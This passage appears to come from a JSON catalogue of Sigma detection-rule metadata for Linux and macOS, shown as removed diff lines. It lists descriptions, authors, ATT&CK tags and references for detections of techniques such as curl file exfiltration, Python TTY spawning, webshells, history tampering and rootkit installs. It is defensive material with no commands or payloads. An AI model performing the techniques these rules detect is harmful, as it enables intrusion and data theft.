Ortuno, oscd.community", - "creation_date": "2020/10/08", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_local_account.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_account.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md" - ], - "tags": [ - "attack.discovery", - "attack.t1087.001" - ] - }, - "uuid": "b45e3d6f-42c6-47d8-a478-df6bd6cf534c", - "value": "Local System Accounts Discovery" - }, - { - "description": "Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings", - "meta": { - "author": "Ömer Günal, Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/11", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_local_groups.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_groups.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ] - }, - "uuid": "676381a6-15ca-4d73-a9c8-6a22e970b90d", - "value": "Local Groups Discovery" - }, - { - "description": "Detects enumeration of local or remote network services.", - "meta": { - "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/21", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_network_service_scanning.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_network_service_scanning.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md" - ], - "tags": [ - "attack.discovery", - "attack.t1046" - ] - }, - "uuid": "3e102cd9-a70d-4a7a-9508-403963092f31", - "value": "Linux Network Service Scanning" - }, - { - "description": "Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments", - "meta": { - "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "creation_date": "2022/06/06", - "falsepositive": [ - "Administrators or installed processes that leverage nohup" - ], - "filename": "proc_creation_lnx_nohup.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://en.wikipedia.org/wiki/Nohup", - "https://www.computerhope.com/unix/unohup.htm", - "https://gtfobins.github.io/gtfobins/nohup/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup.yml" - ], - "tags": "No established tags" - }, - "uuid": "e4ffe466-6ff8-48d4-94bd-e32d1a6061e2", - "value": "Nohup Execution" - }, - { - "description": "Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell.\nScript being executed gets created as a temp file in /tmp folder with a scx* prefix.\nThen it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/.\nThe file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/10/15", - "falsepositive": [ - "Legitimate use of SCX RunAsProvider ExecuteScript." - ], - "filename": "proc_creation_lnx_omigod_scx_runasprovider_executescript.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executescript.yml", - "https://github.com/Azure/Azure-Sentinel/pull/3059", - "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure" - ], - "tags": [ - "attack.privilege_escalation", - "attack.initial_access", - "attack.execution", - "attack.t1068", - "attack.t1190", - "attack.t1203" - ] - }, - "uuid": "6eea1bf6-f8d2-488a-a742-e6ef6c1b67db", - "value": "OMIGOD SCX RunAsProvider ExecuteScript" - }, - { - "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/10/15", - "falsepositive": [ - "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand." - ], - "filename": "proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/Azure/Azure-Sentinel/pull/3059", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml", - "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure" - ], - "tags": [ - "attack.privilege_escalation", - "attack.initial_access", - "attack.execution", - "attack.t1068", - "attack.t1190", - "attack.t1203" - ] - }, - "uuid": "21541900-27a9-4454-9c4c-3f0a4240344a", - "value": "OMIGOD SCX RunAsProvider ExecuteShellCommand" - }, - { - "description": "Detects process discovery commands. Adversaries may attempt to get information about running processes on a system.\nInformation obtained could be used to gain an understanding of common software/applications running on systems within the network\n", - "meta": { - "author": "Ömer Günal, oscd.community", - "creation_date": "2020/10/06", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_process_discovery.yml", - "level": "informational", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_process_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1057" - ] - }, - "uuid": "4e2f5868-08d4-413d-899f-dc2f1508627b", - "value": "Process Discovery" - }, - { - "description": "Detects setting proxy configuration", - "meta": { - "author": "Ömer Günal", - "creation_date": "2020/06/17", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_proxy_connection.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_proxy_connection.yml", - "https://attack.mitre.org/techniques/T1090/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1090" - ] - }, - "uuid": "72f4ab3f-787d-495d-a55d-68c2ff46cf4c", - "value": "Connection Proxy" - }, - { - "description": "Detects python spawning a pretty tty", - "meta": { - "author": "Nextron Systems", - "creation_date": "2022/06/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_lnx_python_pty_spawn.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_pty_spawn.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "c4042d54-110d-45dd-a0e1-05c47822c937", - "value": "Python Spawning Pretty TTY" - }, - { - "description": "Detects the enumeration of other remote systems.", - "meta": { - "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/22", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_remote_system_discovery.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_remote_system_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1018" - ] - }, - "uuid": "11063ec2-de63-4153-935e-b1a8b9e616f1", - "value": "Linux Remote System Discovery" - }, - { - "description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.", - "meta": { - "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/06", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_schedule_task_job_cron.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_schedule_task_job_cron.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1053.003" - ] - }, - "uuid": "6b14bac8-3e3a-4324-8109-42f0546a347f", - "value": "Scheduled Cron Task/Job" - }, - { - "description": "Detects usage of system utilities (only grep and egrep for now) to discover security software discovery", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", - "falsepositive": [ - "Legitimate activities" - ], - "filename": "proc_creation_lnx_security_software_discovery.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_software_discovery.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md" - ], - "tags": [ - "attack.discovery", - "attack.t1518.001" - ] - }, - "uuid": "c9d8b7fd-78e4-44fe-88f6-599135d46d60", - "value": "Security Software Discovery" - }, - { - "description": "Detects disabling security tools", - "meta": { - "author": "Ömer Günal, Alejandro Ortuno, oscd.community", - "creation_date": "2020/06/17", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_security_tools_disabling.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_tools_disabling.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ] - }, - "uuid": "e3a8a052-111f-4606-9aee-f28ebeb76776", - "value": "Disabling Security Tools" - }, - { - "description": "Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/15", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_services_stop_and_disable.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_services_stop_and_disable.yml", - "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "de25eeb8-3655-4643-ac3a-b662d3f26b6b", - "value": "Disable Or Stop Services" - }, - { - "description": "Detects suspicious change of file privileges with chown and chmod commands", - "meta": { - "author": "Ömer Günal", - "creation_date": "2020/06/16", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_setgid_setuid.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_setgid_setuid.yml", - "https://attack.mitre.org/techniques/T1548/001/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.001/T1548.001.md" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "c21c4eaa-ba2e-419a-92b2-8371703cbe21", - "value": "Setuid and Setgid" - }, - { - "description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/10/15", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_lnx_sudo_cve_2019_14287.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://access.redhat.com/security/cve/cve-2019-14287", - "https://www.openwall.com/lists/oss-security/2019/10/14/1", - "https://twitter.com/matthieugarin/status/1183970598210412546", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_sudo_cve_2019_14287.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068", - "attack.t1548.003", - "cve.2019.14287" - ] - }, - "uuid": "f74107df-b6c6-4e80-bf00-4170b658162b", - "value": "Sudo Privilege Escalation CVE-2019-14287" - }, - { - "description": "Detects chmod targeting files in abnormal directory paths.", - "meta": { - "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "creation_date": "2022/06/03", - "falsepositive": [ - "Admin changing file permissions." - ], - "filename": "proc_creation_lnx_susp_chmod_directories.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_chmod_directories.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1222.002" - ] - }, - "uuid": "6419afd1-3742-47a5-a7e6-b50386cd15f8", - "value": "Chmod Suspicious Directory" - }, - { - "description": "Detects a suspicious curl process start the adds a file to a web request", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/15", - "falsepositive": [ - "Scripts created by developers and admins" - ], - "filename": "proc_creation_lnx_susp_curl_fileupload.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_fileupload.yml", - "https://curl.se/docs/manpage.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", - "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", - "https://twitter.com/d1r4c/status/1279042657508081664", - "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567", - "attack.t1105" - ] - }, - "uuid": "00b90cc1-17ec-402c-96ad-3a8117d7a582", - "value": "Suspicious Curl File Upload - Linux" - }, - { - "description": "Detects a suspicious curl process start on linux with set useragent options", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/15", - "falsepositive": [ - "Scripts created by developers and admins", - "Administrative activity" - ], - "filename": "proc_creation_lnx_susp_curl_useragent.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://curl.se/docs/manpage.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_useragent.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "b86d356d-6093-443d-971c-9b07db583c68", - "value": "Suspicious Curl Change User Agents - Linux" - }, - { - "description": "Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/06/20", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_susp_history_delete.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/sleventyeleven/linuxprivchecker/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_delete.yml" - ], - "tags": [ - "attack.impact", - "attack.t1565.001" - ] - }, - "uuid": "1182f3b3-e716-4efa-99ab-d2685d04360f", - "value": "History File Deletion" - }, - { - "description": "Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/06/20", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_susp_history_recon.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_recon.yml", - "https://github.com/sleventyeleven/linuxprivchecker/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md" - ], - "tags": [ - "attack.reconnaissance", - "attack.t1592.004" - ] - }, - "uuid": "d7821ff1-4527-4e33-9f84-d0d57fa2fb66", - "value": "Print History File Contents" - }, - { - "description": "Detects suspicious interactive bash as a parent to rather uncommon child processes", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/14", - "falsepositive": [ - "Legitimate software that uses these patterns" - ], - "filename": "proc_creation_lnx_susp_interactive_bash.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_interactive_bash.yml", - "Internal Research" - ], - "tags": "No established tags" - }, - "uuid": "ea3ecad2-db86-4a89-ad0b-132a10d2db55", - "value": "Interactive Bash Suspicious Children" - }, - { - "description": "Detects java process spawning suspicious children", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_lnx_susp_java_children.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_java_children.yml", - "https://www.tecmint.com/different-types-of-linux-shells/" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "d292e0af-9a18-420c-9525-ec0ac3936892", - "value": "Suspicious Java Children Processes" - }, - { - "description": "Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/14", - "falsepositive": [ - "Legitimate software that uses these patterns" - ], - "filename": "proc_creation_lnx_susp_pipe_shell.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_pipe_shell.yml", - "Internal Research" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140" - ] - }, - "uuid": "880973f3-9708-491c-a77b-2a35a1921158", - "value": "Linux Shell Pipe to Shell" - }, - { - "description": "Detects events with patterns found in commands used for reconnaissance on linux systems", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/06/20", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_susp_recon_indicators.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_recon_indicators.yml", - "https://github.com/sleventyeleven/linuxprivchecker/blob/0d701080bbf92efd464e97d71a70f97c6f2cd658/linuxprivchecker.py" - ], - "tags": [ - "attack.reconnaissance", - "attack.t1592.004", - "attack.credential_access", - "attack.t1552.001" - ] - }, - "uuid": "0cf7a157-8879-41a2-8f55-388dd23746b7", - "value": "Linux Recon Indicators" - }, - { - "description": "Detects system information discovery commands", - "meta": { - "author": "Ömer Günal, oscd.community", - "creation_date": "2020/10/08", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_system_info_discovery.yml", - "level": "informational", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_info_discovery.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md" - ], - "tags": [ - "attack.discovery", - "attack.t1082" - ] - }, - "uuid": "42df45e7-e6e9-43b5-8f26-bec5b39cc239", - "value": "System Information Discovery" - }, - { - "description": "Detects usage of system utilities to discover system network connections", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", - "falsepositive": [ - "Legitimate activities" - ], - "filename": "proc_creation_lnx_system_network_connections_discovery.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_connections_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1049" - ] - }, - "uuid": "4c519226-f0cd-4471-bd2f-6fbb2bb68a79", - "value": "System Network Connections Discovery" - }, - { - "description": "Detects enumeration of local network configuration", - "meta": { - "author": "Ömer Günal and remotephone, oscd.community", - "creation_date": "2020/10/06", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_system_network_discovery.yml", - "level": "informational", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1016" - ] - }, - "uuid": "e7bd1cfa-b446-4c88-8afb-403bcd79e3fa", - "value": "System Network Discovery - Linux" - }, - { - "description": "Detects execution of a the file \"execve_hijack\" which is used by the Triple Cross rootkit as a way to elevate privileges", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/05", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L275", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation" - ] - }, - "uuid": "0326c3c8-7803-4a0f-8c5c-368f747f7c3e", - "value": "Triple Cross eBPF Rootkit Execve Hijack" - }, - { - "description": "Detects default install commands of the Triple Cross eBPF rootkit based on the \"deployer.sh\" script", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/05", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_lnx_triple_cross_rootkit_install.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_install.yml", - "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1014" - ] - }, - "uuid": "22236d75-d5a0-4287-bf06-c93b1770860f", - "value": "Triple Cross eBPF Rootkit Install Commands" - }, - { - "description": "Detects suspicious sub processes of web server processes", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali (update)", - "creation_date": "2021/10/15", - "falsepositive": [ - "Web applications that invoke Linux command line tools" - ], - "filename": "proc_creation_lnx_webshell_detection.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/", - "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_webshell_detection.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "818f7b24-0fba-4c49-a073-8b755573b9c7", - "value": "Linux Webshell Indicators" - }, - { - "description": "Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.", - "meta": { - "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/23", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "file_event_macos_emond_launch_daemon.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "macos", - "refs": [ - "https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_emond_launch_daemon.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.014/T1546.014.md" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.014" - ] - }, - "uuid": "23c43900-e732-45a4-8354-63e4a6c187ce", - "value": "MacOS Emond Launch Daemon" - }, - { - "description": "Detects creation of startup item plist files that automatically get executed at boot initialization to establish persistence.", - "meta": { - "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/14", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "file_event_macos_startup_items.yml", - "level": "low", - "logsource.category": "file_event", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.005/T1037.005.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_startup_items.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1037.005" - ] - }, - "uuid": "dfe8b941-4e54-4242-b674-6b613d521962", - "value": "Startup Items" - }, - { - "description": "Detects execution of AppleScript of the macOS scripting language AppleScript.", - "meta": { - "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/21", - "falsepositive": [ - "Application installers might contain scripts as part of the installation process." - ], - "filename": "proc_creation_macos_applescript.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.002/T1059.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_applescript.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.002" - ] - }, - "uuid": "1bc2e6c5-0885-472b-bed6-be5ea8eace55", - "value": "MacOS Scripting Interpreter AppleScript" - }, - { - "description": "Detects usage of base64 utility to decode arbitrary base64-encoded text", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", - "falsepositive": [ - "Legitimate activities" - ], - "filename": "proc_creation_macos_base64_decode.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_base64_decode.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "719c22d7-c11a-4f2c-93a6-2cfdd5412f68", - "value": "Decode Base64 Encoded Text" - }, - { - "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.", - "meta": { - "author": "Igor Fits, Mikhail Larin, oscd.community", - "creation_date": "2020/10/19", - "falsepositive": [ - "Legitimate script work" - ], - "filename": "proc_creation_macos_binary_padding.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_binary_padding.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.001" - ] - }, - "uuid": "95361ce5-c891-4b0a-87ca-e24607884a96", - "value": "Binary Padding" - }, - { - "description": "Detect file time attribute change to hide new or changes to existing files", - "meta": { - "author": "Igor Fits, Mikhail Larin, oscd.community", - "creation_date": "2020/10/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_macos_change_file_time_attr.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_change_file_time_attr.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.006" - ] - }, - "uuid": "88c0f9d8-30a8-4120-bb6b-ebb54abcf2a0", - "value": "File Time Attribute Change" - }, - { - "description": "Detects deletion of local audit logs", - "meta": { - "author": "remotephone, 